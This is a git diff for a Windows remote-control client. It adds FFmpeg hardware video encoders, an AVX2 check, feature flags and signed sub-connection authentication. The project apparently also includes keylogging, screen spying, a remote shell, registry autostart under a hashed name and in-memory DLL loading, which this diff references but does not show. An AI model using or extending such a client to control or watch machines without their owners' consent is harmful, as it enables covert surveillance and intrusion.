// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
} else if (strcmp(name, "h264_amf") == 0) {
// AMD AMF 远控低延迟配置:
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead
// quality=speed 选最快编码路径vs balanced/quality
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
// 静态画面省码率交给应用层 skip 检测ScreenCapture::GetNextScreenData
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
setOpt(m_ctx->priv_data, "quality", "speed", name);
setOpt(m_ctx->priv_data, "rc", "cbr", name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "h264_mf") == 0) {
// Windows Media Foundation 兜底。rate_control 实际值ffmpeg -h encoder=h264_mf
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegH264Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 注意FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
}
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(
rgb, stride,
y, w,
u, w / 2,
v, w / 2,
w, signed_height) != 0) {
return -1;
}
if (libyuv::I420ToNV12(
y, w,
u, w / 2,
v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0) {
return -1;
}
return 0;
}
int CFFmpegH264Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
// past the end of m_frame->data[0] → heap corruption / access violation.
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 H.264 实现。
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
//
// 输入像素BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
// 内部转 NV12 喂给 FFmpeg encoder。
class CFFmpegH264Encoder : public VideoEncoderBase
{
public:
CFFmpegH264Encoder();
~CFFmpegH264Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -6,11 +6,24 @@
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
extern void licenseInit();
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0, 0, 0, 0 };
__cpuid(cpuInfo, 0);
if (cpuInfo[0] < 7) return FALSE;
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
@@ -195,6 +208,16 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
// Check AVX2 support at startup
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return -1;
}
licenseInit();
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
@@ -312,6 +335,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// Check AVX2 support before starting
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
licenseInit();
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
@@ -526,7 +557,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
if (!app.m_bShared) {
static bool hasRun = false;
if (!app.m_bShared && !hasRun) {
hasRun = true;
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
@@ -538,6 +571,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings);
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED();
@@ -556,7 +590,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
@@ -571,7 +606,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
SAFE_DELETE(Manager);
//准备第一波数据
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel);
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
Manager->SetClientApp(&app);

View File

@@ -124,7 +124,7 @@
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -167,7 +167,7 @@
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
@@ -199,11 +199,15 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
@@ -227,6 +231,10 @@
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
@@ -241,6 +249,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />

View File

@@ -27,6 +27,7 @@
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
@@ -35,6 +36,9 @@
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
</ItemGroup>
@@ -70,6 +74,7 @@
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
@@ -79,6 +84,10 @@
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="ConPTYManager.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -1,6 +1,7 @@
#include "StdAfx.h"
#include "Common.h"
#include "Manager.h"
#include "ScreenManager.h"
#include "FileManager.h"
#include "TalkManager.h"

View File

@@ -6,6 +6,8 @@
#include "Common.h"
#include "../common/commands.h"
#if ENABLE_SHELL
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
Mprintf("[ConPTY] Read thread exited\n");
return 0;
}
#endif

View File

@@ -7,6 +7,11 @@
#include "Manager.h"
#include "IOCPClient.h"
#if ENABLE_SHELL==0
#define CConPTYManager CManager
#else
// ConPTY API types (dynamically loaded)
typedef VOID* HPCON;
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
@@ -56,5 +61,6 @@ private:
// Thread to read from PTY
static DWORD WINAPI ReadThread(LPVOID lParam);
};
#endif
#endif // CONPTYMANAGER_H

View File

@@ -11,6 +11,8 @@
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
#define ALGORITHM_NULL "-1"
#define ALGORITHM_NUL -1
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_DEFAULT 1

71
client/EncoderFactory.cpp Normal file
View File

@@ -0,0 +1,71 @@
#include "EncoderFactory.h"
#include "common/config.h"
#include "common/logger.h"
#include "X264Encoder.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
#include "CFFmpegH264Encoder.h"
#include "CFFmpegAV1Encoder.h"
#endif
namespace {
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
int BitRateToCRF(int bitRate) {
if (bitRate <= 0) return 23;
if (bitRate >= 3000) return 20;
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
return 32;
}
}
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
EncoderParams p;
p.width = req.width;
p.height = req.height;
p.fps = req.fps;
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
if (req.encodeLevel >= LEVEL_AV1_HARD) {
auto enc = std::make_unique<CFFmpegAV1Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
}
// H.264 硬编CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
if (req.encodeLevel >= LEVEL_H264_HARD) {
auto enc = std::make_unique<CFFmpegH264Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
}
#endif
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
if (req.encodeLevel >= LEVEL_H264_SOFT) {
auto enc = std::make_unique<CX264Encoder>();
p.rc = RateControl::CRF;
p.crf = BitRateToCRF(req.bitrate_kbps);
if (enc->open(p)) {
Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
return enc;
}
}
Mprintf("=> ERROR: no encoder could be opened\n");
return nullptr;
}

25
client/EncoderFactory.h Normal file
View File

@@ -0,0 +1,25 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/commands.h"
#include <memory>
// 创建编码器的请求参数。
struct EncoderRequest {
int width = 0;
int height = 0;
int fps = 30;
int bitrate_kbps = 4000;
int encodeLevel = LEVEL_H264_SOFT;
};
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
//
// 探测顺序(第一个 open 成功的就用):
// AV1 硬编路径
// H.264 硬编CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
// x264 软编CX264EncoderCPU 兜底)
//
// 失败路径在日志中可见Mprintf。返回 nullptr 仅在 x264 也开不起来时(极少见)。
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);

View File

@@ -10,6 +10,8 @@
#include "IOCPClient.h"
#include "KernelManager.h"
#if ENABLE_FILE_MNG
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
@@ -33,7 +35,9 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain();
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty())
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
// 发送驱动器列表, 开始进行文件管理,建立新线程
@@ -48,7 +52,8 @@ CFileManager::~CFileManager()
SAFE_CLOSE_HANDLE(m_hSearchThread);
}
m_UploadList.clear();
UninitFileUpload();
if (!m_Signature.empty())
UninitFileUpload();
}
@@ -1163,6 +1168,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
// 创建新连接发送文件
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
@@ -1182,3 +1188,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
Mprintf("[V2] 连接服务器失败\n");
}
}
#endif

View File

@@ -1,10 +1,16 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "Manager.h"
#include "IOCPClient.h"
#include "common.h"
typedef IOCPClient CClientSocket;
#if ENABLE_FILE_MNG==0
#define CFileManager CManager
#else
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
@@ -35,6 +41,7 @@ private:
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
std::string m_Signature;
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
@@ -61,5 +68,6 @@ private:
HANDLE m_hSearchThread;
volatile bool m_bSearching;
};
#endif
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

View File

@@ -30,10 +30,12 @@ inline int WSAGetLastError()
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#include "common/zstd_wrapper.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#ifdef _WIN32
# ifdef _WIN64
# pragma comment(lib, "zstd/zstd_x64.lib")
# else
# pragma comment(lib, "zstd/zstd.lib")
# endif
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
@@ -86,6 +88,27 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
}
#endif
// TCP_USER_TIMEOUT (RFC 5482): 未被对端 ACK 的已发数据超过此时间,内核直接把
// socket 标记为 ETIMEDOUT下一次 send/recv 立即报错。
//
// 为什么 SO_KEEPALIVE 不够keep-alive 只在连接完全 idle 时才探测,应用层每
// 30s 一次心跳让 TCP 永远进不了 idle 态。VM 挂起恢复 / 笔记本合盖唤醒 / NAT
// 表项老化等场景下,对端早已关闭连接但本端 send() 仍把字节塞进 SNDBUF 立即
// 返回成功——出现 ESTABLISHED + Send-Q 堆积的"半死连接",应用层完全无感,
// 默认要等 tcp_retries2 跑完(~15分钟)才报错。
//
// 选 30s>= 默认心跳间隔(5-30s)< 服务端 CheckHeartbeat 超时(>=60s)。
// Linux 2.6.37+ 支持macOS / 老内核 无此宏,自动跳过——那条路径上靠应用层
// ACK 看门狗(linux/main.cpp 心跳循环)兜底。
#ifdef TCP_USER_TIMEOUT
unsigned int userTimeoutMs = 30000;
if (setsockopt(socket, IPPROTO_TCP, TCP_USER_TIMEOUT,
&userTimeoutMs, sizeof(userTimeoutMs)) < 0) {
Mprintf("Failed to set TCP_USER_TIMEOUT\n");
// 非致命keep-alive 已设上,应用层还有 ACK 看门狗兜底,继续即可
}
#endif
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;
}
@@ -100,6 +123,76 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
}
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
// 空 publicKey/privateKey 走内置 HMAC。
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
{
ConnAuthPacket pkt = {};
pkt.token = TOKEN_CONN_AUTH;
pkt.clientID = clientID;
pkt.timestamp = (uint64_t)time(NULL);
// 16 字节 nonce用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
for (int i = 0; i < 16; ++i) {
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
}
BYTE sigInput[8 + 8 + 16];
memcpy(sigInput, &pkt.clientID, 8);
memcpy(sigInput + 8, &pkt.timestamp, 8);
memcpy(sigInput + 16, pkt.nonce, 16);
auto sig = signMessage("", sigInput, sizeof(sigInput));
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
memcpy(pkt.signature, sig.data(), sigLen);
// 设置等待状态
{
std::lock_guard<std::mutex> lk(m_authMtx);
m_authStatus = -1;
m_authPending = true;
}
// 发包;用 HttpMask 包装与其它子连接首包风格一致
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
if (sent <= 0) {
std::lock_guard<std::mutex> lk(m_authMtx);
m_authPending = false;
Mprintf("[ConnAuth] 发送失败\n");
return false;
}
// 等响应或超时
std::unique_lock<std::mutex> lk(m_authMtx);
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
[this]{ return !m_authPending; });
int status = m_authStatus;
m_authPending = false;
if (!got) {
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
return false;
}
bool ok = (status == CONN_AUTH_OK);
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
return ok;
}
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
if (!buf || len < sizeof(ConnAuthAck)) return false;
if (buf[0] != TOKEN_CONN_AUTH) return false;
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
m_authStatus = (int)buf[1]; // ConnAuthAck::status at byte offset 1; avoids misaligned uint64_t cast
m_authPending = false;
}
m_authCv.notify_all();
return true;
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
const std::string& pubIP, void* main) : g_bExit(bExit)
@@ -119,11 +212,20 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
}
m_main = main;
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
// m_conn->clientID 现取主连接 ID同一指针主连接登录后填好的最新值
int encoder = conn ? conn->GetHeaderEncType() : 0;
m_sLocPublicIP = pubIP;
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
// 走 LoopManager 模式时new IOCPClient → ConnectServer 启动 Receive
// worker 与 Manager 构造(内含 setManagerCallBack之间有 race window
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
m_DataProcess = NULL;
m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
m_EncoderType = encoder;
@@ -376,10 +478,38 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
// m_hWorkThread != NULL and reuse this thread instead of spawning a new
// one. Multiple concurrent threads racing on the same socket would tear
// the TCP stream and prevent any complete command from being delivered.
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
// is never dereferenced as a kernel handle.
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}
// 子连接身份校验opt-in 通过 EnableSubConnAuth 开启):
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
// - clientID 优先用 EnableSubConnAuth 显式传入的值Linux/macOS 客户端走此路径),
// 未显式传入时从 m_conn 现取Windows 客户端走此路径)。
// - 校验失败Disconnect 并返回 FALSE让上层走重连或放弃逻辑。
if (m_subConnAuthEnabled) {
uint64_t cid = m_subConnAuthClientID;
if (cid == 0 && m_conn) cid = m_conn->clientID;
if (cid == 0) {
Mprintf("[ConnAuth] 跳过校验clientID 尚未就绪(主连接还没拿到 ID\n");
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
Disconnect();
return FALSE;
}
